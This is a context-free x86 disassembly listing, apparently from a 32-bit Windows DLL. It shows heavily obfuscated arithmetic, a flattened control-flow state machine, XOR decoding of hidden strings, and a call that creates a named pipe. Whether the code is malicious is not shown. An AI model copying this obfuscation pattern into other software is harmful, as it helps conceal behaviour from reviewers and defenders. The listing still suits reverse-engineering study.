add eax, 0xd5373ee6
add eax, 0x73248406
add eax, 0xb7302e56
sub eax, 0x73248406
xor eax, 0xf7fe1a11
sub eax, 0x64b5b907
add eax, 0x2f85fb6d
add eax, 0x64b5b907
mov ecx, 0x9729eff9
xor edx, edx
div ecx
mov ecx, eax
or ecx, 0xec5eef91
mov eax, ecx
or eax, eax
xor eax, 0xffffffff
mov edx, 0x3e0136ac
or edx, 0x3e0136ac
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x3e0136ac
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, eax
and ecx, 0x19b0aba1
xor ecx, 0xffffffff
add eax, 0x19b0aba1
add eax, 1
add eax, ecx
sub eax, 0x8d56386b
mov ecx, 0xdfc32f08
xor edx, edx
div ecx
add eax, 0xb091b169
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0xa2ccb543
mov edx, 0xffffffff
xor edx, 0xa2ccb543
and ecx, edx
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
mov ecx, eax
and ecx, 0x1da5443c
shl ecx, 1
add eax, 0x1da5443c
sub eax, ecx
mov ecx, eax
and ecx, 0x8362d0bf
xor eax, 0x8362d0bf
or ecx, eax
mov eax, ecx
xor eax, 0x8edf68fd
xor eax, 0xffffffff
and eax, 0x8edf68fd
shl eax, 1
sub eax, 0x8edf68fd
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x40], eax
mov esi, 0xffffffff
xor esi, 0xc6d6f2e
mov edx, 0xffffffff
xor edx, 0x694bc2b
and eax, 0x694bc2b
and ecx, edx
mov edi, esi
and edi, 0x694bc2b
mov ebx, edx
and ebx, 0xc6d6f2e
or eax, ecx
mov ecx, dword [ebp - 0x40]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x694bc2b
and ecx, edx
or eax, ecx
imul ecx, eax, 0x507f962c
mov edx, ecx
xor edx, 0xffffffff
and edx, 0xff9bc8ae
mov esi, 0xffffffff
xor esi, 0xff9bc8ae
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0xff9bc8ae
or ecx, 0xff9bc8ae
imul ecx, edx
add ecx, eax
xor ecx, 0xe7d45803
sub ecx, 0x908e2a19
mov esi, 0xffffffff
xor esi, 0x81612e93
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0x81612e93
or ecx, 0x81612e93
imul ecx, edx
add ecx, eax
mov eax, ecx
and eax, eax
xor eax, 0xffffffff
and eax, 0xfc9bc800
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xfc9bc800
mov esi, 0xffffffff
xor esi, 0xfc9bc800
or edx, esi
and ecx, edx
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
or eax, ecx
imul ecx, eax, 0xf6671da4
or ecx, 0xff3ee03d
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x3c], eax
mov esi, 0xffffffff
xor esi, 0x30f802ac
mov edx, 0xffffffff
xor edx, 0xdb0a96df
and eax, 0xdb0a96df
and ecx, edx
mov edi, esi
and edi, 0xdb0a96df
mov ebx, edx
and ebx, 0x30f802ac
or eax, ecx
mov ecx, dword [ebp - 0x3c]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xdb0a96df
and ecx, edx
or eax, ecx
sub eax, 0xc7973a0d
add eax, 0x89584f70
add eax, 0xc7973a0d
xor ecx, ecx
sub ecx, 0x33c3fffa
sub eax, ecx
add eax, 0x2507b0af
add eax, 0xead7b458
sub eax, 0x2507b0af
mov ecx, 0x8792d3de
xor edx, edx
div ecx
or eax, 0x70aab718
and eax, 0xc8ec99cc
imul eax, eax, 0xbb365e9e
mov ecx, 0xc6d02445
xor edx, edx
div ecx
add eax, 0xb8598471
sub eax, 0x511b68ab
sub eax, 0xb8598471
or eax, 0xfb36372
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x9ba46ff4
mov edx, 0xffffffff
xor edx, 0x9ba46ff4
and eax, edx
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
and ecx, 0x63186b9f
mov edx, 0xffffffff
xor edx, 0x63186b9f
and eax, edx
sub eax, ecx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x64c563c2
mov esi, 0xffffffff
xor esi, 0x64c563c2
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x64c563c2
or eax, 0x64c563c2
imul eax, edx
add eax, ecx
and eax, 0xbb03265e
add eax, 0x3051d750
xor ecx, ecx
sub ecx, 0xf0f6ea17
add eax, ecx
xor eax, 0x79f599fb
xor eax, 0x47ea2774
mov ecx, eax
and ecx, 0x755fd8aa
shl ecx, 1
add eax, 0x755fd8aa
sub eax, ecx
or eax, 0xe7cb087a
sub eax, 0x75e1afbb
mov esi, 0xffffffff
xor esi, 0x571977fd
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0x571977fd
or eax, 0x571977fd
imul eax, edx
add eax, ecx
sub eax, 0xa8be620
mov edx, eax
xor edx, 0xffffffff
and edx, 0x5d319dc6
mov esi, 0xffffffff
xor esi, 0x5d319dc6
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x5d319dc6
or eax, 0x5d319dc6
imul eax, edx
add eax, ecx
mov ecx, 0x24356c68
xor edx, edx
div ecx
mov ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xf0d55fdd
mov edx, 0xffffffff
xor edx, 0xf0d55fdd
and ecx, edx
sub ecx, eax
mov eax, ecx
and eax, 0x6d7975a2
xor eax, 0xffffffff
add ecx, 0x6d7975a2
add ecx, 1
add ecx, eax
mov eax, ecx
and eax, 0xb9284ef3
xor eax, 0xffffffff
add ecx, 0xb9284ef3
add ecx, 1
add ecx, eax
mov eax, ecx
and eax, 0x79859e5e
or ecx, 0x79859e5e
add eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x90b2e6aa
mov ecx, 0xffffffff
xor ecx, 0x35021f6a
or eax, edx
or ecx, 0x35021f6a
xor eax, 0xffffffff
and eax, ecx
xor eax, 0x7ef438d7
mov ecx, 0x40cb603b
xor edx, edx
div ecx
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov ecx, esi
xor ecx, 0x9adcc542
xor ecx, 0xffffffff
and ecx, 0x9adcc542
shl ecx, 1
sub ecx, 0x9adcc542
sub esi, ecx
mov dl, byte [0x101d120c]
mov cl, dl
xor cl, 0xff
mov ch, dl
xor ch, 0xff
and cl, ch
mov ch, 0xff
xor ch, 0x77
mov dh, 0xff
xor dh, 0x77
and ch, dh
xor cl, 0xff
xor ch, 0xff
and cl, ch
or dl, 0x77
xor dl, 0xff
or cl, dl
xor cl, 0xff
mov byte [0x101d1222], cl
mov dl, byte [0x101d120d]
mov cl, dl
xor cl, 0xff
and cl, 0x28
mov ch, 0xff
xor ch, 0x28
and dl, ch
or cl, dl
mov byte [0x101d1223], cl
mov cl, byte [0x101d120e]
xor cl, 0xe3
mov byte [0x101d1224], cl
mov dh, byte [0x101d120f]
mov cl, dh
xor cl, 0xff
and cl, 0xb7
mov ch, 0xff
xor ch, 0xb7
and dh, ch
mov dl, 0xff
xor dl, 0xb
and dl, 0xb7
and ch, 0xb
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101d1225], cl
mov cl, byte [0x101d1210]
xor cl, 0xff
mov byte [str.2e__s], cl
mov cl, byte [0x101d1211]
xor cl, 0xc2
mov byte [0x101d1229], cl
mov dl, byte [0x101d1212]
mov cl, dl
xor cl, 0xff
and cl, 0x23
mov ch, 0xff
xor ch, 0x23
and dl, ch
or cl, dl
mov byte [0x101d122a], cl
mov dh, byte [0x101d1213]
mov cl, dh
xor cl, 0xff
and cl, 0x90
mov ch, 0xff
xor ch, 0x90
and dh, ch
mov dl, 0xff
xor dl, 0xcd
and dl, 0x90
and ch, 0xcd
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101d122c], cl
mov dl, byte [0x101d1214]
mov cl, dl
or cl, cl
xor cl, 0xff
mov ch, 0xff
xor ch, 0x42
mov dh, 0xff
xor dh, 0x42
and ch, dh
or cl, ch
xor cl, 0xff
or dl, 0x42
xor dl, 0xff
xor cl, 0xff
xor dl, 0xff
and cl, dl
mov byte [0x101d1231], cl
mov cl, byte [0x101d1215]
xor cl, 0x18
mov byte [0x101d1233], cl
mov cl, byte [0x101d1216]
xor cl, 0xb2
mov byte [0x101d1234], cl
mov cl, byte [0x101d1217]
xor cl, 0x65
mov byte [0x101d1235], cl
mov cl, byte [0x101d1218]
xor cl, 0x6e
mov byte [0x101d1237], cl
mov cl, byte [0x101d1219]
xor cl, 0x70
mov byte [0x101d1238], cl
mov dl, byte [0x101d121a]
mov cl, dl
xor cl, 0xff
and cl, 0xa3
mov ch, 0xff
xor ch, 0xa3
and dl, ch
or cl, dl
mov byte [0x101d123a], cl
mov cl, byte [0x101d121b]
xor cl, 0xb1
mov byte [0x101d123b], cl
mov cl, byte [0x101d11d0]
xor cl, 0x62
mov byte [0x101d11f1], cl
mov cl, byte [0x101d11d1]
xor cl, 0xaa
mov byte [0x101d11f2], cl
mov dh, byte [0x101d11d2]
mov cl, dh
xor cl, 0xff
and cl, 0xbe
mov ch, 0xff
xor ch, 0xbe
and dh, ch
mov dl, 0xff
xor dl, 0x84
and dl, 0xbe
and ch, 0x84
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101d11f3], cl
mov cl, byte [0x101d11d3]
mov dl, cl
and dl, 0x39
shl dl, 1
add cl, 0x39
sub cl, dl
mov byte [0x101d11f4], cl
mov cl, byte [0x101d11d4]
xor cl, 0x7c
mov byte [0x101d11f5], cl
mov cl, byte [0x101d11d5]
mov dl, cl
xor dl, 0xcf
xor dl, 0xff
and dl, 0xcf
shl dl, 1
sub dl, 0xcf
sub cl, dl
mov byte [0x101d11f6], cl
mov cl, byte [0x101d11d6]
xor cl, 0x12
mov byte [0x101d11f7], cl
mov dl, byte [0x101d11d7]
mov cl, dl
xor cl, 0xff
and cl, 0x49
mov ch, 0xff
xor ch, 0x49
and dl, ch
or cl, dl
mov byte [0x101d11f8], cl
mov cl, byte [0x101d11d8]
xor cl, 0xcf
mov byte [0x101d11fc], cl
mov dh, byte [0x101d11d9]
mov cl, dh
xor cl, 0xff
and cl, 0x8e
mov ch, 0xff
xor ch, 0x8e
and dh, ch
mov dl, 0xff
xor dl, 0xd6
and dl, 0x8e
and ch, 0xd6
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101d11fd], cl
mov cl, byte [0x101d11da]
xor cl, 0x2d
mov byte [0x101d1200], cl
mov dl, byte [0x101d11db]
mov cl, dl
xor cl, 0xff
and cl, 0x50
mov ch, 0xff
xor ch, 0x50
and dl, ch
or cl, dl
mov byte [0x101d1201], cl
mov cl, byte [0x101d11dc]
xor cl, 0xbb
mov byte [0x101d1203], cl
mov dh, byte [0x101d11dd]
mov cl, dh
xor cl, 0xff
and cl, 0x5b
mov ch, 0xff
xor ch, 0x5b
and dh, ch
mov dl, 0xff
xor dl, 0x68
and dl, 0x5b
and ch, 0x68
or cl, dh
or dl, ch
xor cl, dl
mov byte [0x101d1204], cl
mov cl, byte [0x101d11de]
xor cl, 0xed
mov byte [0x101d1207], cl
mov cl, byte [0x101d11df]
mov dl, cl
xor dl, 0x31
xor dl, 0xff
and dl, 0x31
shl dl, 1
sub dl, 0x31
sub cl, dl
mov byte [0x101d1208], cl
mov cl, byte [0x101d11e0]
mov dl, cl
xor dl, 0x87
xor dl, 0xff
and dl, 0x87
shl dl, 1
sub dl, 0x87
sub cl, dl
mov byte [0x101d1209], cl
mov cl, byte [0x101d11e1]
xor cl, 0x26
mov byte [0x101d120b], cl
mov ecx, 0x210cead2
mov edx, 0x4f4c6260
cmp esi, 0xd732ab41
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1012bb05
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xa5305674
jmp 0x1012bb05
mov dword [0x101d46f8], 1
push eax
mov eax, esp
mov dword [ebp - 0x54], eax
push eax
mov eax, esp
mov dword [ebp - 0x50], eax
push eax
mov eax, esp
mov dword [ebp - 0x44], eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4c], ecx
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x48], eax
lea eax, [0x101d1220]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1c
call fcn.1017da50
mov ecx, dword [ebp - 0x48]
add esp, 0xc
lea eax, [0x101d11f0]
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x1c
call fcn.1017da50
mov dword [esp], 0xc
mov dword [esp + 4], 0x1a
mov dword [esp + 8], 0x2e
call fcn.100b90c0
add esp, 0xc
mov eax, dword [ebp - 0x48]
xor ecx, ecx
sub esp, 0x20
mov dword [esp], eax
mov dword [esp + 4], 3
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ecx, dword [ebp - 0x44]
mov edx, eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], edx
mov esi, dword [ecx]
mov edi, 0xffffffff
mov ecx, 0x22ce8d96
mov edx, 0x8e26117b
cmp esi, edi
cmove ecx, edx
mov dword [eax], ecx
jmp 0x1012bb05
mov eax, dword [0x101d3158]
xor edx, edx
div dword [0x101d315c]
mov esi, eax
mov eax, esi
xor eax, 0xffffffff
and eax, 0x79ba4af1
mov edx, 0xffffffff
xor edx, 0x79ba4af1
and esi, edx
mov ecx, 0xffffffff
xor ecx, 0x1d3a8f4c
and ecx, 0x79ba4af1
and edx, 0x1d3a8f4c
or eax, esi
or ecx, edx
xor eax, ecx
mov ecx, eax
or ecx, 0xa80f3f39
xor ecx, 0xffffffff
or eax, 0xa80f3f39
xor eax, 0xffffffff
or ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
xor eax, 0xffffffff
and eax, 0x785dbe96
mov edx, 0xffffffff
xor edx, 0x785dbe96
and ecx, edx
or eax, ecx
imul eax, eax, 0x77cf7f55
mov ecx, 0xffffffff
xor ecx, 0x3aa846d0
xor edx, edx
sub edx, 1
sub ecx, edx
sub eax, ecx
xor eax, 0xe79bc4c8
or eax, 0x528052c5
sub eax, 0xf814f283
add eax, 0x5f234dd
add eax, 0xf814f283
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x94bc166
add eax, ecx
add eax, 0x50fac1e2
mov ecx, eax
xor ecx, 0xcc474cbc
xor ecx, 0xffffffff
or eax, 0xcc474cbc
and eax, ecx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x3906e30d
mov ecx, 0xffffffff
xor ecx, 0xc6b6f074
or eax, edx
or ecx, 0xc6b6f074
xor eax, 0xffffffff
and eax, ecx
mov ecx, eax
or ecx, ecx
xor ecx, 0xffffffff
mov edx, 0x31877604
or edx, 0x31877604
xor edx, 0xffffffff
or ecx, edx
xor ecx, 0xffffffff
or eax, 0x31877604
xor eax, 0xffffffff
xor ecx, 0xffffffff
xor eax, 0xffffffff
and ecx, eax
mov eax, ecx
and eax, 0x12024f0c
xor ecx, 0x12024f0c
or eax, ecx
sub eax, 0x97648a29
or eax, 0x6cc39692
imul eax, eax, 0xa428b0ef
mov ecx, 0xa05ecb7f
xor edx, edx
div ecx
and eax, 0x6195a31e
and eax, 0x287d1d57
add eax, 0x1700f866
add eax, 0xe5223f27
sub eax, 0x1700f866
sub eax, 0x383868ce
mov edx, 0xffffffff
xor edx, 0xd428cb26
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0xd428cb26
add eax, edx
sub eax, ecx
imul eax, eax, 0xf7c7b9ef
mov ecx, eax
and ecx, ecx
xor ecx, 0xffffffff
xor ecx, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xb15b1f06
or ecx, edx
mov edx, 0xb15b1f06
and edx, 0xb15b1f06
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
or eax, edx
and ecx, eax
xor ecx, 0xffffffff
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x5c], eax
mov esi, 0xffffffff
xor esi, 0xcaa724b5
mov edx, 0xffffffff
xor edx, 0x6df14286
and eax, 0x6df14286
and ecx, edx
mov edi, esi
and edi, 0x6df14286
mov ebx, edx
and ebx, 0xcaa724b5
or eax, ecx
mov ecx, dword [ebp - 0x5c]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0x6df14286
and ecx, edx
or eax, ecx
mov edx, 0xffffffff
xor edx, 0x38b49c1f
mov ecx, eax
and ecx, edx
mov edx, eax
xor edx, 0x38b49c1f
add eax, edx
sub eax, ecx
mov ecx, eax
xor ecx, 0x43267d28
mov edx, 0xffffffff
xor edx, 0x43267d28
and eax, edx
shl eax, 1
sub eax, ecx
mov ecx, 0xa5c3fadc
xor edx, edx
div ecx
imul ecx, eax, 0x80a809a9
sub ecx, 0x770a4cd4
sub ecx, 0x82a6ecd8
add ecx, 0x770a4cd4
add ecx, 0x75c6486c
mov eax, ecx
xor eax, 0xffffffff
mov dword [ebp - 0x58], eax
mov esi, 0xffffffff
xor esi, 0xd6832052
mov edx, 0xffffffff
xor edx, 0xb3a56c54
and eax, 0xb3a56c54
and ecx, edx
mov edi, esi
and edi, 0xb3a56c54
mov ebx, edx
and ebx, 0xd6832052
or eax, ecx
mov ecx, dword [ebp - 0x58]
or edi, ebx
xor eax, edi
or ecx, esi
xor ecx, 0xffffffff
or edx, 0xb3a56c54
and ecx, edx
or eax, ecx
mov ecx, eax
and ecx, 0x27faa07d
or eax, 0x27faa07d
add ecx, eax
mov eax, ecx
and eax, 0x1909a73e
or ecx, 0x1909a73e
add eax, ecx
mov ecx, 0xef178bc5
xor edx, edx
div ecx
mov ecx, eax
add ecx, 1
xor eax, 0xffffffff
or eax, 0x494b063f
add eax, ecx
add eax, 0x448aee6f
mov edx, eax
xor edx, 0xffffffff
and edx, 0x9285abb5
mov esi, 0xffffffff
xor esi, 0x9285abb5
mov ecx, eax
and ecx, esi
imul ecx, edx
mov edx, eax
and edx, 0x9285abb5
or eax, 0x9285abb5
imul eax, edx
add eax, ecx
or eax, eax
xor eax, 0xffffffff
mov ecx, 0xcbf77643
or ecx, 0xcbf77643
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
and eax, 0x7fe86aa8
add eax, 0x58f947ae
mov ecx, 0xca1cf209
xor edx, edx
div ecx
mov ecx, eax
add ecx, 0x7eccea0b
and ecx, 0x721b81c6
mov edx, ecx
xor edx, 0xffffffff
and edx, 0x3cda259f
mov esi, 0xffffffff
xor esi, 0x3cda259f
mov eax, ecx
and eax, esi
imul eax, edx
mov edx, ecx
and edx, 0x3cda259f
or ecx, 0x3cda259f
imul ecx, edx
add ecx, eax
xor eax, eax
sub eax, 0x378aec27
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd10d40b1
or eax, edx
mov edx, 0xffffffff
xor edx, 0xd10d40b1
mov esi, 0xffffffff
xor esi, 0xd10d40b1
or edx, esi
xor ecx, 0xffffffff
xor edx, 0xffffffff
or ecx, edx
and eax, ecx
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xea8ab8d5
mov edx, eax
and edx, esi
mov ecx, eax
or ecx, esi
xor ecx, 0xffffffff
imul ecx, edx
mov edx, eax
and edx, 0xea8ab8d5
or eax, 0xea8ab8d5
imul eax, edx
add eax, ecx
and eax, 0x79ad81c6
add eax, 0x498506e
add eax, 0x5f49e0fe
add eax, 0x2504bec6
sub eax, 0x5f49e0fe
imul ecx, eax, 0xf7a479ba
mov eax, ecx
add eax, 1
xor ecx, 0xffffffff
or ecx, 0xbed6177
add ecx, eax
mov eax, 0xffffffff
xor eax, 0xfd439ae7
xor edx, edx
sub edx, 1
sub eax, edx
sub ecx, eax
mov eax, ecx
xor eax, 0xffffffff
mov edx, ecx
xor edx, 0xffffffff
and eax, edx
mov edx, 0xffffffff
xor edx, 0x2317d45a
mov esi, 0xffffffff
xor esi, 0x2317d45a
and edx, esi
or eax, edx
xor eax, 0xffffffff
or ecx, 0x2317d45a
xor ecx, 0xffffffff
xor eax, 0xffffffff
xor ecx, 0xffffffff
and eax, ecx
add eax, 0xcde58cb2
or eax, 0x5159021e
sub eax, 0x620703d7
mov ecx, eax
xor ecx, 0x67fb6005
xor ecx, 0xffffffff
and ecx, 0x67fb6005
shl ecx, 1
sub ecx, 0x67fb6005
sub eax, ecx
mov ecx, eax
and ecx, 0xc217c25c
shl ecx, 1
add eax, 0xc217c25c
sub eax, ecx
imul eax, eax, 0xd59227bb
imul eax, eax, 0xb3642e7
mov ecx, 0x162f562b
xor edx, edx
div ecx
mov ecx, 0x7b95df8
xor edx, edx
div ecx
mov ecx, eax
mov eax, dword [ebp - 0x1c]
imul esi, ecx, 0xf796fabb
xor esi, 0x9532fd30
mov ecx, esi
xor ecx, 0x44b3a777
xor ecx, 0xffffffff
and ecx, 0x44b3a777
shl ecx, 1
sub ecx, 0x44b3a777
sub esi, ecx
mov ecx, 0xffffffff
xor ecx, 0xa4e0ee1e
xor edx, edx
sub edx, 1
sub ecx, edx
sub esi, ecx
sub esi, 0x9c27f098
sub esi, 0xc85078be
add esi, 0x9c27f098
mov ecx, 0xec16724
mov edx, 0x58a2cc21
cmp esi, 0x5cc27619
cmovbe ecx, edx
mov dword [eax], ecx
jmp 0x1012bb05
mov ecx, dword [ebp - 0x54]
mov eax, dword [0x101d3160]
xor edx, edx
div dword [0x101d3164]
mov edx, eax
mov eax, edx
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x6ed48e2d
and eax, esi
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x6ed48e2d
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor edx, edx
sub edx, eax
xor eax, eax
sub eax, 0xd48f9d46
add edx, eax
xor eax, eax
sub eax, edx
mov edx, eax
and edx, 0x7a531339
shl edx, 1
xor eax, 0x7a531339
add eax, edx
or eax, 0xf10a50fb
imul edx, eax, 0xbd65b80
mov eax, edx
xor eax, 0xffffffff
and eax, 0x9974031e
mov esi, 0xffffffff
xor esi, 0x9974031e
and edx, esi
or eax, edx
xor edx, edx
sub edx, 0xc6d1ec08
sub eax, edx
mov esi, 0xaa754d52
xor edx, edx
div esi
imul eax, eax, 0xbf49b32c
imul edx, eax, 0x5c3d1cea
mov eax, edx
or eax, eax
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x5d0a5d76
mov edi, 0xffffffff
xor edi, 0x5d0a5d76
and esi, edi
xor eax, 0xffffffff
xor esi, 0xffffffff
and eax, esi
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x5d0a5d76
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xb8cbd055
mov edx, 0xffffffff
xor edx, 0x1ef9b602
or eax, esi
or edx, 0x1ef9b602
xor eax, 0xffffffff
and eax, edx
mov esi, 0x6d7f0d71
xor edx, edx
div esi
add eax, 0xff013207
xor eax, 0xe862eff
and eax, 0x7dd17206
xor eax, 0xfd36731d
and eax, 0xf76f620a
mov esi, eax
xor esi, 0xffffffff
and esi, 0x496027f6
mov edi, 0xffffffff
xor edi, 0x496027f6
mov edx, eax
and edx, edi
imul edx, esi
mov esi, eax
and esi, 0x496027f6
or eax, 0x496027f6
imul eax, esi
add eax, edx
sub eax, 0xae80d21b
sub eax, 0xaf5650bb
sub eax, 0x6a459f44
mov esi, 0x276b2fdf
xor edx, edx
div esi
or eax, 0x80cae54c
add eax, 0xe0b6129c
mov esi, 0xeb27723
xor edx, edx
div esi
mov esi, 0x3efc1dcb
xor edx, edx
div esi
and eax, 0x9c2ed1d7
or eax, 0xebbb5d02
sub eax, 0x9ae184bb
mov esi, eax
xor esi, 0xffffffff
and esi, 0x41f51293
mov edi, 0xffffffff
xor edi, 0x41f51293
mov edx, eax
and edx, edi
imul edx, esi
mov esi, eax
and esi, 0x41f51293
or eax, 0x41f51293
imul eax, esi
add eax, edx
or eax, 0xb547db3b
mov edx, eax
xor edx, 0x7e0b8e30
mov esi, 0xffffffff
xor esi, 0x7e0b8e30
and eax, esi
shl eax, 1
sub eax, edx
add eax, 0x5f94b719
mov esi, 0x766e9e16
xor edx, edx
div esi
mov edx, eax
or edx, 0x3fec436d
mov eax, edx
or eax, 0x6c781824
xor eax, 0xffffffff
or edx, 0x6c781824
xor edx, 0xffffffff
or eax, edx
xor eax, 0xffffffff
mov esi, 0xc37031ac
xor edx, edx
div esi
mov edx, eax
mov eax, edx
xor eax, 0xffffffff
and eax, 0xb53ea8e8
mov esi, 0xffffffff
xor esi, 0xb53ea8e8
and edx, esi
or eax, edx
and eax, 0x9829e0ae
and eax, 0xa16ff678
or eax, 0xe45ad15
mov edx, eax
xor edx, 0xffffffff
and edx, 0xee6eafae
mov esi, 0xffffffff
xor esi, 0xee6eafae
and eax, esi
or edx, eax
mov edi, 0xffffffff
xor edi, 0x94a1e35
mov esi, edx
and esi, edi
mov eax, edx
or eax, edi
xor eax, 0xffffffff
imul eax, esi
mov esi, edx
and esi, 0x94a1e35
or edx, 0x94a1e35
imul edx, esi
add edx, eax
mov eax, edx
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
mov edx, 0x496de58d
or edx, 0x496de58d
xor edx, 0xffffffff
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
and eax, eax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x923bd732
mov esi, 0xffffffff
xor esi, 0x923bd732
or edx, esi
and eax, edx
xor eax, 0xffffffff
add eax, 0x9ee91469
and eax, 0x28509897
mov esi, 0x46cbfe54
xor edx, edx
div esi
mov edx, 0xffffffff
xor edx, 0x76f47a37
xor esi, esi
sub esi, 1
sub edx, esi
sub eax, edx
sub eax, 0x8d3c9c47
add eax, 0xa873b888
add eax, 0x8d3c9c47
or eax, 0xb9a04b9c
or eax, eax
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xd3ad8480
mov esi, 0xffffffff
xor esi, 0xd3ad8480
and edx, esi
xor eax, 0xffffffff
xor edx, 0xffffffff
and eax, edx
mov edi, 0xffffffff
xor edi, 0xdc36766d
mov esi, eax
and esi, edi
mov edx, eax
or edx, edi
xor edx, 0xffffffff
imul edx, esi
mov esi, eax
and esi, 0xdc36766d
or eax, 0xdc36766d
imul eax, esi
add eax, edx
and eax, 0xd62bbea5
mov edx, eax
xor edx, 0x9f4fed73
mov esi, 0xffffffff
xor esi, 0x9f4fed73
and eax, esi
shl eax, 1
sub eax, edx
mov esi, 0x2f526d21
xor edx, edx
div esi
mov edx, eax
and edx, 0xbfcf5509
shl edx, 1
xor eax, 0xbfcf5509
add eax, edx
mov edx, eax
xor edx, 0xffffffff
and edx, 0xfdf82519
mov esi, 0xffffffff
xor esi, 0xfdf82519
and eax, esi
sub eax, edx
mov edx, eax
xor edx, 0xffffffff
and edx, 0x7ee5946b
mov esi, 0xffffffff
xor esi, 0x7ee5946b
and eax, esi
sub eax, edx
mov esi, 0xdc112d7a
xor edx, edx
div esi
imul eax, eax, 0x98f7101b
add eax, 0x7fa46564
add eax, 0xfc6650a9
sub eax, 0x7fa46564
or eax, 0xb73d7769
mov edx, 0xffffffff
xor edx, 0x9c7bf455
xor esi, esi
sub esi, 1
sub edx, esi
sub eax, edx
mov esi, 0xb8f3304a
xor edx, edx
div esi
or eax, 0x9277ee5d
or eax, 0x46e6610f
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0x57e2c75
mov edx, 0xffffffff
xor edx, 0x28c52ff1
or eax, esi
or edx, 0x28c52ff1
xor eax, 0xffffffff
and eax, edx
mov esi, 0x27daeb28
xor edx, edx
div esi
mov esi, eax
mov eax, dword [ebp - 0x1c]
mov dword [ecx], 1
mov ecx, 0x6172ee89
mov edx, 0xec16724
cmp esi, 0x9f205734
cmova ecx, edx
mov dword [eax], ecx
jmp 0x1012bb05
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0x463396b
jmp 0x1012bb05
mov eax, dword [0x101d3168]
xor edx, edx
div dword [0x101d316c]
mov ecx, 0x96187f53
xor edx, edx
div ecx
mov ecx, eax
mov esi, 0xffffffff
xor esi, 0xe0d1dd97
mov edx, ecx
and edx, esi
mov eax, ecx
or eax, esi
xor eax, 0xffffffff
imul eax, edx
mov edx, ecx
and edx, 0xe0d1dd97
or ecx, 0xe0d1dd97
imul ecx, edx
add ecx, eax
mov eax, ecx
xor eax, 0xffffffff
and eax, 0xa0281a56
mov edx, 0xffffffff
xor edx, 0xa0281a56
and ecx, edx
or eax, ecx
mov ecx, 0xe052b7ea
xor edx, edx
div ecx
mov ecx, eax
xor ecx, 0x175cec4
xor ecx, 0xffffffff
and ecx, 0x175cec4
shl ecx, 1
sub ecx, 0x175cec4
sub eax, ecx
mov ecx, eax
xor ecx, 0xffffffff
